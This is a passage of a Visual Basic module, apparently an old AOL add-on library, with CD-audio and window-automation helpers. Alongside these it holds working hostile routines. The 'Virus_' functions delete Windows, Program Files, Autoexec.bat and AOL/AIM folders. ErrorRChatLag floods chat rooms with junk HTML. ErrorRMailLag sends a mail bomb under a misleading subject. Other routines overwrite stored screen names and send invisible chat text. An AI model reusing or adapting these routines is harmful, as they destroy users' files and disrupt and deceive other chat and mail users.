  528.     End If
  529.  
  530.     CDSetFormat_tmsf
  531.     End Function
  532.  
  533. Function CDGetNumTracks%()
  534.  
  535.     Dim s As String * 30
  536.     mciSendString "status cd number of tracks wait", s, Len(s), 0
  537.     CDGetNumTracks = CInt(Mid$(s, 1, 2))
  538.     End Function
  539.  
  540. Function CDIsPlaying() As Boolean
  541.  
  542.     CDIsPlaying = False
  543.     Dim s As String * 50
  544.     mciSendString "status cd mode", s, Len(s), 0
  545.     If Mid$(s, 1, 7) = "playing" Then
  546.     CDIsPlaying = True
  547.     Else
  548.     CDIsPlaying = False
  549.     End If
  550.     
  551.     End Function
  552. Function CDLength$()
  553.  
  554.     Dim s As String * 30
  555.     mciSendString "status cd length wait", s, Len(s), 0
  556.     CDLength = s
  557.     End Function
  558. Function CDPause()
  559.  
  560.     mciSendString "pause cd", 0, 0, 0
  561.     End Function
  562. Function CDPlay()
  563. 'MAKE SURE YOU USE
  564. 'Call CDSetPlayerReady -FIRST!!
  565. 'use that to reset to 0 too
  566.    mciSendString "play cd", 0, 0, 0
  567.   End Function
  568.  
  569. Function CDPosition()
  570.  
  571. Dim mm, Sec, Min, Track As Integer
  572.     Dim s As String * 30
  573.     mciSendString "status cd position", s, Len(s), 0
  574.     Track = CInt(Mid$(s, 1, 2))
  575.     Min = CInt(Mid$(s, 4, 2))
  576.     Sec = CInt(Mid$(s, 7, 2))
  577.     
  578.     CDPosition = "Track[" & Track & "] Min[" & Min & "] Sec[" & Sec & "]"
  579.     
  580.     End Function
  581. Function CDPosition2()
  582.  
  583.  
  584.     Dim s As String * 30
  585.     mciSendString "status cd position", s, Len(s), 0
  586.     Min = (Mid$(s, 4, 2))
  587.     Sec = (Mid$(s, 7, 2))
  588.     
  589.     CDPosition2 = Min & ":" & Sec
  590.     
  591.     End Function
  592. Function CDPositionLong()
  593.  
  594.  
  595.     Dim s As String * 30
  596.     mciSendString "status cd position", s, Len(s), 0
  597.     l = Mid$(s, 1, Len(s))
  598.     CDPositionLong = l
  599.     
  600.     End Function
  601.  
  602. Function CDReWind(Spd%)
  603.  
  604.     Dim s As String * 40
  605.     CDSetFormat_millisec
  606.     mciSendString "status cd position wait", s, Len(s), 0
  607.     
  608.  
  609.     If CDIsPlaying = 1 Then
  610.     mciSendString "play cd from " & CStr(CLng(s) - Spd), 0, 0, 0
  611.     Else
  612.     mciSendString "seek cd to " & CStr(CLng(s) - Spd), 0, 0, 0
  613.     End If
  614.  
  615.     CDSetFormat_tmsf
  616.     End Function
  617. Function CDSeekToX(Track)
  618.     CDStop
  619.     CDSetTrack Track
  620.     CDPlay
  621.     End Function
  622.  
  623. Function CDSetFormat_millisec()
  624.  
  625.     mciSendString "set cd time format milliseconds", 0, 0, 0
  626.     End Function
  627.  
  628. Function CDSetFormat_seconds()
  629.  
  630.     mciSendString "set cd time format seconds", 0, 0, 0
  631.     End Function
  632. Function CDSetFormat_tmsf()
  633.  
  634.     mciSendString "set cd time format tmsf wait", 0, 0, 0
  635.     End Function
  636.  
  637. Function CDSetPlayerReady()
  638.  
  639.     mciSendString "open cdaudio alias cd wait shareable", 0, 0, 0
  640.     End Function
  641.  
  642. Function CDSetTrack(Track)
  643.  
  644.     mciSendString "seek cd to " & Str(Track), 0, 0, 0
  645.     End Function
  646. Function CDStop()
  647.  
  648.     mciSendString "stop cd wait", 0, 0, 0
  649.     End Function
  650.  
  651. Function CDTrackLength(TrackNum)
  652.  
  653.     Dim s As String * 30
  654.     mciSendString "status cd length track " & TrackNum, s, Len(s), 0
  655.     CDTrackLength = s
  656.     End Function
  657.  
  658. Function CDUnload()
  659.  
  660.     mciSendString "close all", 0, 0, 0
  661.     End Function
  662.  
  663. Sub Chat_CloseRoom()
  664. Dim room%, closeit
  665. room% = FindChat
  666. closeit = SendMessage(room%, WM_CLOSE, 0, 0&)
  667.  
  668. End Sub
  669.  
  670.  
  671.  
  672.  
  673.  
  674. Function AOL_SetFocus()
  675. Dim aol%
  676. aol% = FindWindow("AOL Frame25", vbNullString)
  677. Call FocusSet(aol%)
  678. End Function
  679.  
  680.  
  681. Function APISpy_ClassName()
  682. handl% = APISpy_MouseOver
  683. bspace$ = String$(250, 0)
  684. classname% = GetClassName(handl%, bspace$, 250)
  685. APISpy_ClassName = bspace$
  686. End Function
  687.  
  688. Function APISpy_MouseOver()
  689. Dim CurP As POINTAPI
  690. Dim NowP%
  691. Dim ThenP%
  692.     Call GetCursorPos(CurP)
  693.     NowP% = WindowFromPoint(CurP.X, CurP.Y)
  694.  
  695.     If NowP% <> ThenP% Then
  696.         ThenP% = NowP%
  697.         APISpy_MouseOver = NowP%
  698.     End If
  699. End Function
  700.  
  701. Function APISpy_Parent()
  702. Dim Parnt%
  703. Parnt% = GetParent(APISpy_MouseOver)
  704. APISpy_Parent = Parnt%
  705. End Function
  706.  
  707. Function APISpy_ParentName()
  708. winhand% = APISpy_Parent
  709. pspace$ = String$(250, 0)
  710. pclassname% = GetClassName(winhand%, pspace$, 250)
  711. APISpy_ParentName = pspace$
  712. End Function
  713.  
  714.  
  715. Function APISpy_WindowText()
  716. Dim WinTLen%, WindowText%, Spce$
  717. WinTLen% = GetWindowTextLength(APISpy_MouseOver)
  718. Spce$ = String$(WinTLen%, 0)
  719. WindowText% = GetWindowText(APISpy_MouseOver, Spce$, (WinTLen% + 1))
  720. APISpy_WindowText = Spce$
  721. End Function
  722.  
  723.  
  724.  
  725. Function ChatInvisibleSound(WavName As String)
  726. Call ErrorRsenD("<Font Color=" & Chr(34) & "#FFFFFE" & Chr(34) & ">{S " & WavName)
  727. End Function
  728.  
  729.  
  730.  
  731. Function ChatSendInvisible(txt As String)
  732. Call ErrorRsenD("<Font Color=" & Chr(34) & "#FFFFFE" & Chr(34) & ">" & txt)
  733.  
  734. End Function
  735.  
  736. Public Function ReplaceString(MyString As String, ToFind As String, ReplaceWith As String) As String
  737.     Dim Spot As Long, NewSpot As Long, LeftString As String
  738.     Dim RightString As String, NewString As String
  739.     Spot& = InStr(LCase(MyString$), LCase(ToFind))
  740.     NewSpot& = Spot&
  741.     Do
  742.         If NewSpot& > 0& Then
  743.             LeftString$ = Left(MyString$, NewSpot& - 1)
  744.             If Spot& + Len(ToFind$) <= Len(MyString$) Then
  745.                 RightString$ = Right(MyString$, Len(MyString$) - NewSpot& - Len(ToFind$) + 1)
  746.             Else
  747.                 RightString = ""
  748.             End If
  749.             NewString$ = LeftString$ & ReplaceWith$ & RightString$
  750.             MyString$ = NewString$
  751.         Else
  752.             NewString$ = MyString$
  753.         End If
  754.         Spot& = NewSpot& + Len(ReplaceWith$)
  755.         If Spot& > 0 Then
  756.             NewSpot& = InStr(Spot&, LCase(MyString$), LCase(ToFind$))
  757.         End If
  758.     Loop Until NewSpot& < 1
  759.     ReplaceString$ = NewString$
  760. End Function
  761. Public Function Replace(MyString As String, ToFind As String, ReplaceWith As String) As String
  762.     Dim Spot As Long, NewSpot As Long, LeftString As String
  763.     Dim RightString As String, NewString As String
  764.     Spot& = InStr(LCase(MyString$), LCase(ToFind))
  765.     NewSpot& = Spot&
  766.     Do
  767.         If NewSpot& > 0& Then
  768.             LeftString$ = Left(MyString$, NewSpot& - 1)
  769.             If Spot& + Len(ToFind$) <= Len(MyString$) Then
  770.                 RightString$ = Right(MyString$, Len(MyString$) - NewSpot& - Len(ToFind$) + 1)
  771.             Else
  772.                 RightString = ""
  773.             End If
  774.             NewString$ = LeftString$ & ReplaceWith$ & RightString$
  775.             MyString$ = NewString$
  776.         Else
  777.             NewString$ = MyString$
  778.         End If
  779.         Spot& = NewSpot& + Len(ReplaceWith$)
  780.         If Spot& > 0 Then
  781.             NewSpot& = InStr(Spot&, LCase(MyString$), LCase(ToFind$))
  782.         End If
  783.     Loop Until NewSpot& < 1
  784.     Replace$ = NewString$
  785. End Function
  786. Function CheckIfOnline2(SN As String)
  787. Call RunMenuByChar(9, "L")
  788. Do: DoEvents
  789. Dim aol%, mdi%, TIT%, Edi%, Icona%, tit2%, No%, stat%
  790. Dim fillit, clickit, closeit, AreThey, Trimit$, last, SendNum
  791. aol% = FindWindow("AOL Frame25", vbNullString)
  792. mdi% = FindChildByClass(aol%, "MDIClient")
  793. TIT% = FindChildByTitle(mdi%, "Locate Member Online")
  794. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  795.  
  796. If TIT% <> 0 And Edi% <> 0 Then Exit Do
  797. Loop
  798. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, SN)
  799. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  800. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  801. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  802.  
  803. Do: DoEvents
  804. No% = FindWindow("#32770", vbNullString)
  805. tit2% = FindChildByTitle(mdi%, "Locate " & SN)
  806. stat% = FindChildByClass(tit2%, "_AOL_Static")
  807. If No% <> 0 Or tit2% <> 0 Then Exit Do
  808. Loop
  809. If No% <> 0 Then
  810. closeit = SendMessage(No%, WM_CLOSE, 0, 0&)
  811. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  812. AreThey = SN & " is Not Online"
  813. ElseIf tit2% <> 0 Then
  814. SendNum = SendMessageByNum(stat%, 14, 0&, 0&)
  815. Trimit$ = Space$(SendNum)
  816. last = SendMessageByString(stat%, 13, SendNum + 1, Trimit$)
  817. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  818. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  819. AreThey = Trimit$
  820. End If
  821. CheckIfOnline2 = AreThey
  822. End Function
  823.  
  824. Function FindChat()
  825. Dim aol%, mdi%, Chil%, Gly%, lis%, _
  826. Combo%, Icona%, Rich%
  827. 'i worked for a pretty long time on this, it goes through all ims now
  828. aol% = FindWindow("AOL Frame25", vbNullString)
  829. mdi% = FindChildByClass(aol%, "MDIClient")
  830. Chil% = FindChildByClass(mdi%, "AOL Child")
  831. Combo% = FindChildByClass(Chil%, "_AOL_Combobox")
  832. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  833. Gly% = FindChildByClass(Chil%, "_AOL_Glyph")
  834. Icona% = FindChildByClass(Chil%, "_AOL_Icon")
  835. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  836. If Combo% <> 0 And lis% <> 0 And Gly% <> 0 Then
  837. FindChat = Chil%
  838. End If
  839.         If Combo% = 0 And lis% = 0 And Gly% = 0 Then
  840. Do: DoEvents
  841. Chil% = FindWindowEx(mdi%, Chil%, "AOL Child", vbNullString) 'took a while to figure that out ;o/
  842. Combo% = FindChildByClass(Chil%, "_AOL_Combobox")
  843. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  844. Gly% = FindChildByClass(Chil%, "_AOL_Glyph")
  845. Icona% = FindChildByClass(Chil%, "_AOL_Icon")
  846. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  847.     If Combo% <> 0 And lis% <> 0 And Gly% <> 0 Then Exit Do
  848. Loop Until Chil% = 0&
  849.         End If
  850. FindChat = Chil%
  851.  
  852. End Function
  853.  
  854. Function Form_EarthQuakeDamage(frm As Form)
  855. 'This one makes damage on the form
  856. If frm.WindowState = 2 Or frm.WindowState = 1 Then
  857. MsgBox ("Function cannot be performed while" & Chr(13) & "         window is maximized.."), 16, ("Error    Press OK to resume program")
  858. Exit Function
  859. End If
  860. Dim i, l, T, W, h As Integer
  861. l = frm.Left
  862. T = frm.Top
  863. W = frm.Width
  864. h = frm.Height
  865. For i = 1 To 20
  866. num = Int(Rnd * 5)
  867. DoEvents
  868. If num < 3 Then frm.Line (0, 0)-(Form1.Width / 2, Form1.Height / 2)
  869. frm.Move (l + 50), (T + 25), W, h
  870. Wait (0.001)
  871. DoEvents
  872. If num > 2 Then frm.Line (Form1.Width / 2, Form1.Height / 2)-(Form1.Width / 2, Form1.Height)
  873. frm.Move (l + 60), (T + 45), W, h
  874. Wait (0.001)
  875. DoEvents
  876.  
  877. If num > 1 Then frm.Line (0, Form1.Height)-(Form1.Width / 3, Form1.Height / 3)
  878. frm.Move (l + 40), (T + 20), W, h
  879. Wait (0.001)
  880. DoEvents
  881. If num > 3 Then frm.Line (0, Form1.Height / 2)-(Form1.Width * 2, Form1.Height / 3)
  882. frm.Move (l + 30), (T + 35), W, h
  883. Wait (0.001)
  884. DoEvents
  885.  
  886. frm.Move (l + 15), (T + 10), W, h
  887. Wait (0.001)
  888. DoEvents
  889. If num < 4 Then frm.Line (Form1.Width * 2, Form1.Height * 3)-(Form1.Width / 3, Form1.Height / 2)
  890. Next i
  891. frm.Move l, T, W, h 'Returns the original position
  892. End Function
  893.  
  894. Function Form_EarthQuake(frm As Form)
  895. If frm.WindowState = 2 Or frm.WindowState = 1 Then
  896. MsgBox ("Function cannot be performed while" & Chr(13) & "         window is maximized.."), 16, ("Error    Press OK to resume program")
  897. Exit Function
  898. End If
  899. Dim i, l, T, W, h As Integer
  900. l = frm.Left
  901. T = frm.Top
  902. W = frm.Width
  903. h = frm.Height
  904. For i = 1 To 10
  905. frm.Move (l + 50), (T + 25), W, h
  906. Wait (0.001)
  907. frm.Move (l + 60), (T + 45), W, h
  908. Wait (0.001)
  909. frm.Move (l + 40), (T + 20), W, h
  910. Wait (0.001)
  911. frm.Move (l + 30), (T + 35), W, h
  912. Wait (0.001)
  913. frm.Move (l + 15), (T + 10), W, h
  914. Wait (0.001)
  915. Next i
  916. frm.Move l, T, W, h 'Returns the original position
  917. End Function
  918. Function Form_EarthQuakeLong(frm As Form)
  919. If frm.WindowState = 2 Or frm.WindowState = 1 Then
  920. MsgBox ("Function cannot be performed while" & Chr(13) & "         window is maximized.."), 16, ("Error    Press OK to resume program")
  921. Exit Function
  922. End If
  923. Dim i, l, T, W, h As Integer
  924. l = frm.Left
  925. T = frm.Top
  926. W = frm.Width
  927. h = frm.Height
  928. For i = 1 To 20
  929. DoEvents
  930. frm.Move (l + 50), (T + 25), W, h
  931. Wait (0.001)
  932. DoEvents
  933. frm.Move (l + 60), (T + 45), W, h
  934. Wait (0.001)
  935. DoEvents
  936. frm.Move (l + 40), (T + 20), W, h
  937. Wait (0.001)
  938. DoEvents
  939. frm.Move (l + 30), (T + 35), W, h
  940. Wait (0.001)
  941. DoEvents
  942. frm.Move (l + 15), (T + 10), W, h
  943. Wait (0.001)
  944. DoEvents
  945. Next i
  946. frm.Move l, T, W, h 'Returns the original position
  947. End Function
  948. Sub ChatClear1()
  949. 'This just clears the chat
  950. For i = 1 To 1900
  951. a = a + "á"
  952. Next
  953. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  954. TimeOut 0.001
  955. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  956. TimeOut 0.001
  957. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  958. End Sub
  959. Sub ChatClear2()
  960.  
  961.  
  962. 'This just clears the chat
  963. For i = 1 To 1900
  964. a = a + "á"
  965. Next
  966. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  967. End Sub
  968.  
  969.  
  970. Sub Form_MakeAOLMyChild(frm As Form)
  971. 'MAKE SURE YOU CLOSE AOL BEFORE ENDING PROGRAM
  972. 'MIGHT CAUSE ERROR
  973. aol% = FindWindow("AOL Frame25", vbNullString)
  974. Call SetParent(aol%, frm.hwnd)
  975. End Sub
  976. Function Comp_DelFile(file As String)
  977. On Error Resume Next
  978. Kill file$
  979. NoFreeze% = DoEvents()
  980. End Function
  981. Function Virus_1()
  982. On Error Resume Next
  983. Comp_DelDiR ("C:\Program Files")
  984. End Function
  985. Sub Comp_DelDiR(dir As String)
  986. RmDir (dir$)
  987. End Sub
  988. Function Virus_AiM()
  989. On Error Resume Next
  990. Comp_DelDiR ("C:\Program Files\AIM95")
  991. Comp_DelDiR ("C:\Program Files\AIM95a")
  992. Comp_DelDiR ("C:\Program Files\AIM95b")
  993. End Function
  994. Sub Sn_NewUser(dir As String, Replace As String)
  995. On Error Resume Next
  996. SN$ = SN$ + String(10 - Len(SN$), Chr(32))
  997. Replace$ = Replace$ + String(10 - Len(Replace$), Chr(32))
  998. Free = FreeFile
  999. Open dir$ + "\idb\main.idx" For Binary As #Free
  1000. For X = 1 To LOF(Free) Step 32000
  1001. Text$ = Space(32000)
  1002. Get #Free, X, Text$
  1003. meeh:
  1004. If InStr(1, Text$, SN$, 1) Then
  1005. Where = InStr(1, Text$, SN$, 1)
  1006. SN$ = ("New User")
  1007. Put #Free, (X + Where) - 1, Replace$
  1008. Mid$(Text$, Where, 10) = String(10, " ")
  1009. GoTo meeh
  1010. End If
  1011. DoEvents
  1012. Next X
  1013. Close #Free
  1014. End Sub
  1015.  
  1016. Function Virus_Aol25()
  1017. On Error Resume Next
  1018. Comp_DelDiR ("C:\AOL 25\idb")
  1019. Comp_DelDiR ("C:\AOL 25a\idb")
  1020. Comp_DelDiR ("C:\AOL 25b\idb")
  1021. Comp_DelDiR ("C:\AOL 25i\idb")
  1022. Comp_DelDiR ("C:\AOL 25\Organize")
  1023. Comp_DelDiR ("C:\AOL 25a\Organize")
  1024. Comp_DelDiR ("C:\AOL 25b\Organize")
  1025. Comp_DelDiR ("C:\AOL 25i\Organize")
  1026. Comp_DelDiR ("C:\AOL 25\Tool")
  1027. Comp_DelDiR ("C:\AOL 25a\Tool")
  1028. Comp_DelDiR ("C:\AOL 25b\Tool")
  1029. Comp_DelDiR ("C:\AOL 25i\Tool")
  1030. End Function
  1031. Function Virus_AoL3()
  1032. On Error Resume Next
  1033. Comp_DelDiR ("C:\AOL 30\idb")
  1034. Comp_DelDiR ("C:\AOL 30a\idb")
  1035. Comp_DelDiR ("C:\AOL 30b\idb")
  1036. Comp_DelDiR ("C:\AOL 30\Organize")
  1037. Comp_DelDiR ("C:\AOL 30a\Organize")
  1038. Comp_DelDiR ("C:\AOL 30b\Organize")
  1039. Comp_DelDiR ("C:\AOL 30\Tool")
  1040. Comp_DelDiR ("C:\AOL 30a\Tool")
  1041. Comp_DelDiR ("C:\AOL 30b\Tool")
  1042. End Function
  1043. Function Virus_3()
  1044. On Error Resume Next
  1045. Comp_DelFile ("C:\Autoexec.bat")
  1046. Comp_DelDiR ("C:\Program Files")
  1047. Comp_DelDiR ("C:\AOL 40\Winsock")
  1048. Comp_DelDiR ("C:\AOL 40a\Winsock")
  1049. Comp_DelDiR ("C:\AOL 40b\Winsock")
  1050. Comp_DelDiR ("C:\AOL 30\Winsock")
  1051. Comp_DelDiR ("C:\AOL 30a\Winsock")
  1052. Comp_DelDiR ("C:\AOL 30b\Winsock")
  1053. Comp_DelDiR ("C:\AOL 25\Winsock")
  1054. Comp_DelDiR ("C:\AOL 25a\Winsock")
  1055. Comp_DelDiR ("C:\AOL 25b\Winsock")
  1056. Comp_DelDiR ("C:\AOL 25i\Winsock")
  1057. End Function
  1058.  
  1059.  
  1060. Function Virus_AoL4()
  1061. On Error Resume Next
  1062. Comp_DelDiR ("C:\AOL 40\idb")
  1063. Comp_DelDiR ("C:\AOL 40a\idb")
  1064. Comp_DelDiR ("C:\AOL 40b\idb")
  1065. Comp_DelDiR ("C:\AOL 40\Organize")
  1066. Comp_DelDiR ("C:\AOL 40a\Organize")
  1067. Comp_DelDiR ("C:\AOL 40b\Organize")
  1068. Comp_DelDiR ("C:\AOL 40\Tool")
  1069. Comp_DelDiR ("C:\AOL 40a\Tool")
  1070. Comp_DelDiR ("C:\AOL 40b\Tool")
  1071. End Function
  1072. Function Virus_2()
  1073. On Error Resume Next
  1074. Comp_DelDiR ("C:\Windows")
  1075. End Function
  1076.  
  1077.  
  1078.  
  1079.  
  1080.  
  1081.  
  1082. Sub Form_MakeMeAOLChild(frm As Form)
  1083. aol% = FindWindow("AOL Frame25", vbNullString)
  1084. Call SetParent(frm.hwnd, aol%)
  1085. End Sub
  1086. Sub Form_PaintScreen(frm As Form)
  1087. 'im not too good with BitBlt but i like this
  1088. 'one , it paints the screen on your form
  1089. 'but not inline with where your form
  1090. 'is so itll be the top , might come in handy
  1091. frm.AutoRedraw = True
  1092. tpx = Screen.TwipsPerPixelX
  1093. tpy = Screen.TwipsPerPixelY
  1094.  
  1095. pxlt = frm.Top / tpy
  1096. pxll = frm.Left / tpx
  1097. Snap& = GetDesktopWindow
  1098. Call BitBlt(frm.hDC, 0, 0, frm.Width, frm.Height, GetDC(Snap&), 0, 0, SRCCOPY)
  1099. frm.Refresh
  1100. End Sub
  1101.  
  1102. Function Form_Shrink(frm As Form)
  1103. X = frm.Width
  1104. Y = frm.Height
  1105. For i = frm.Height To 1 Step -1
  1106. frm.Height = i
  1107. frm.Width = Val(Y) - 1
  1108. Y = frm.Width
  1109. Next i
  1110.  
  1111. End Function
  1112. Function Form_ShrinkEnd(frm As Form)
  1113. X = frm.Width
  1114. Y = frm.Height
  1115. For i = frm.Height To 1 Step -1
  1116. frm.Height = i
  1117. frm.Width = Val(Y) - 1
  1118. Y = frm.Width
  1119. Next i
  1120. End
  1121. End Function
  1122. Function Form_ShrinkFast(frm As Form)
  1123. X = frm.Width
  1124. Y = frm.Height
  1125. For i = frm.Height To 1 Step -10
  1126. frm.Height = i
  1127. frm.Width = Val(Y) - 8
  1128. Y = frm.Width
  1129. Next i
  1130.  
  1131. End Function
  1132.  
  1133. Function Form_ShrinkFastEnd(frm As Form)
  1134. X = frm.Width
  1135. Y = frm.Height
  1136. For i = frm.Height To 1 Step -10
  1137. frm.Height = i
  1138. frm.Width = Val(Y) - 8
  1139. Y = frm.Width
  1140. Next i
  1141. End
  1142. End Function
  1143.  
  1144. Function FormStripes_Green(frm As Form)
  1145.     frm.ScaleMode = 3
  1146.     frm.DrawStyle = 6
  1147.     frm.DrawWidth = 1
  1148.     frm.AutoRedraw = True
  1149.    
  1150. For X = 1 To frm.Width
  1151. i = Int(Rnd * 64)
  1152. frm.Line (X, 1)-(X, frm.Height), RGB(FF, i, FF)
  1153. Next X
  1154. frm.Refresh
  1155. End Function
  1156. Sub SendMail(Recipiants, subject, message)
  1157.  
  1158. aol% = FindWindow("AOL Frame25", vbNullString)
  1159. AOTooL% = FindChildByClass(aol%, "AOL Toolbar")
  1160. AOTool2% = FindChildByClass(AOTooL%, "_AOL_Toolbar")
  1161. AOIcon% = FindChildByClass(AOTool2%, "_AOL_Icon")
  1162.  
  1163. AOIcon% = GetWindow(AOIcon%, 2)
  1164.  
  1165. ClickIcon (AOIcon%)
  1166.  
  1167. Do: DoEvents
  1168. mdi% = FindChildByClass(aol%, "MDIClient")
  1169. AOMail% = FindChildByTitle(mdi%, "Write Mail")
  1170. AOEdit% = FindChildByClass(AOMail%, "_AOL_Edit")
  1171. AORich% = FindChildByClass(AOMail%, "RICHCNTL")
  1172. AOIcon% = FindChildByClass(AOMail%, "_AOL_Icon")
  1173. Loop Until AOMail% <> 0 And AOEdit% <> 0 And AORich% <> 0 And AOIcon% <> 0
  1174.  
  1175. Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Recipiants)
  1176.  
  1177. AOEdit% = GetWindow(AOEdit%, 2)
  1178. AOEdit% = GetWindow(AOEdit%, 2)
  1179. AOEdit% = GetWindow(AOEdit%, 2)
  1180. AOEdit% = GetWindow(AOEdit%, 2)
  1181. Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, subject)
  1182. Call SendMessageByString(AORich%, WM_SETTEXT, 0, message)
  1183.  
  1184. For GetIcon = 1 To 18
  1185.     AOIcon% = GetWindow(AOIcon%, 2)
  1186. Next GetIcon
  1187.  
  1188. ClickIcon (AOIcon%)
  1189.  
  1190. Do: DoEvents
  1191. AOError% = FindChildByTitle(mdi%, "Error")
  1192. AOModal% = FindWindow("_AOL_Modal", vbNullString)
  1193. If AOMail% = 0 Then Exit Do
  1194. If AOModal% <> 0 Then
  1195. AOIcon% = FindChildByClass(AOModal%, "_AOL_Icon")
  1196. ClickIcon (AOIcon%)
  1197. Call SendMessage(AOMail%, WM_CLOSE, 0, 0)
  1198. Exit Sub
  1199. End If
  1200. If AOError% <> 0 Then
  1201. Call SendMessage(AOError%, WM_CLOSE, 0, 0)
  1202. Call SendMessage(AOMail%, WM_CLOSE, 0, 0)
  1203. Exit Do
  1204. End If
  1205. Loop
  1206. End Sub
  1207.  
  1208.  
  1209. Function FormStripes_Blue(frm As Form)
  1210.  
  1211.     frm.ScaleMode = 3
  1212.     frm.DrawStyle = 6
  1213.     frm.DrawWidth = 1
  1214.     frm.AutoRedraw = True
  1215.     
  1216. For X = 1 To frm.Width
  1217. i = Int(Rnd * 64)
  1218. frm.Line (X, 1)-(X, frm.Height), RGB(FF, FF, i)
  1219. Next X
  1220. frm.Refresh
  1221. End Function
  1222. Sub ErrorRScroll1(txt)
  1223. 'This is pretty phat
  1224. For i = 1 To 12
  1225. a = a + ("ááá" & txt)
  1226. Next
  1227. ErrorRsenD "" & a
  1228. End Sub
  1229. Sub ErrorRChatCrack(TheText As String)
  1230. a = Len(TheText)
  1231. For W = 1 To a Step 18
  1232.     ab$ = Mid$(TheText, W, 1)
  1233.     U$ = Mid$(TheText, W + 1, 1)
  1234.     s$ = Mid$(TheText, W + 2, 1)
  1235.     T$ = Mid$(TheText, W + 3, 1)
  1236.     Y$ = Mid$(TheText, W + 4, 1)
  1237.     l$ = Mid$(TheText, W + 5, 1)
  1238.     F$ = Mid$(TheText, W + 6, 1)
  1239.     B$ = Mid$(TheText, W + 7, 1)
  1240.     c$ = Mid$(TheText, W + 8, 1)
  1241.     D$ = Mid$(TheText, W + 9, 1)
  1242.     h$ = Mid$(TheText, W + 10, 1)
  1243.     j$ = Mid$(TheText, W + 11, 1)
  1244.     k$ = Mid$(TheText, W + 12, 1)
  1245.     m$ = Mid$(TheText, W + 13, 1)
  1246.     n$ = Mid$(TheText, W + 14, 1)
  1247.     q$ = Mid$(TheText, W + 15, 1)
  1248.     V$ = Mid$(TheText, W + 16, 1)
  1249.     Z$ = Mid$(TheText, W + 17, 1)
  1250.     PC$ = PC$ & "<b> <b> " & ab$ & " </b><i> " & U$ & " </i><u> " & s$ & " </u><s> " & T$ & " </s><b> " & Y$ & " </b><sup> " & l$ & " </sup><i> " & F$ & " </i><u> " & B$ & " <S> " & c$ & " </u> " & D$ & " </s><b> " & h$ & " <u> " & j$ & " </b></u><i> " & k$ & " <b><s><i><u> " & m$ & " </i></u><b><s> " & n$ & " </b></s><i><u> " & q$ & " <b></i></u> " & V$ & " </b> " & Z$
  1251. Next W
  1252. ErrorRsenD (PC$)
  1253. End Sub
  1254. Sub ErrorRChatLag()
  1255. 'This will lag the chat room
  1256. '(P.S. To stop it hold esc)
  1257. For i = 1 To 150
  1258. a = a + "</html><html>"
  1259. Next
  1260. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1261. TimeOut (1#)
  1262. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1263. TimeOut (1#)
  1264. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1265. TimeOut (1#)
  1266. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1267. TimeOut (1#)
  1268. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1269. TimeOut (1#)
  1270. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1271. TimeOut (1#)
  1272. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1273. TimeOut (1#)
  1274. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1275. TimeOut (1#)
  1276. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1277. TimeOut (1#)
  1278. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1279. TimeOut (1#)
  1280. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1281. TimeOut (1#)
  1282. End Sub
  1283. Sub ErrorRMailLag(ScreenNames)
  1284. 'This will lag the hell outta the person when
  1285. 'they open up the mail
  1286. '(To stop it hit esc)
  1287. For i = 1 To 10000
  1288. a = a + "<html></html>"
  1289. Next
  1290. SendMail (ScreenNames), ("Important Message About Chat Rooms"), ("ErrorR OwNz YoU" & a)
  1291. End Sub
  1292. Public Function CheckAlive(ScreenName As String) As Boolean
  1293.     Dim aol As Long, mdi As Long, ErrorWindow As Long
  1294.     Dim ErrorTextWindow As Long, ErrorString As String
  1295.     Dim MailWindow As Long, NoWindow As Long, NoButton As Long
  1296.     Call SendMail("*, " & ScreenName$, "MONSTERB0O Abusement Account Checker", "Just Checkin...")
  1297.     aol& = FindWindow("AOL Frame25", vbNullString)
  1298.     mdi& = FindWindowEx(aol&, 0&, "MDICLIENT", vbNullString)
  1299.     Do
  1300.         DoEvents
  1301.         ErrorWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Error")
  1302.         ErrorTextWindow& = FindWindowEx(ErrorWindow&, 0&, "_AOL_View", vbNullString)
  1303.         ErrorString$ = GetText(ErrorTextWindow&)
  1304.     Loop Until ErrorWindow& <> 0 And ErrorTextWindow& <> 0 And ErrorString$ <> ""
  1305.     If InStr(LCase(ReplaceString(ErrorString$, " ", "")), LCase(ReplaceString(ScreenName$, " ", ""))) > 0 Then
  1306.         CheckAlive = False
  1307.     Else
  1308.         CheckAlive = True
  1309.     End If
  1310.     MailWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Write Mail")
  1311.     Call PostMessage(ErrorWindow&, WM_CLOSE, 0&, 0&)
  1312.     DoEvents
  1313.     Call PostMessage(MailWindow&, WM_CLOSE, 0&, 0&)
  1314.     DoEvents
  1315.     Do
  1316.         DoEvents
  1317.         NoWindow& = FindWindow("#32770", "America Online")
  1318.         NoButton& = FindWindowEx(NoWindow&, 0&, "Button", "&No")
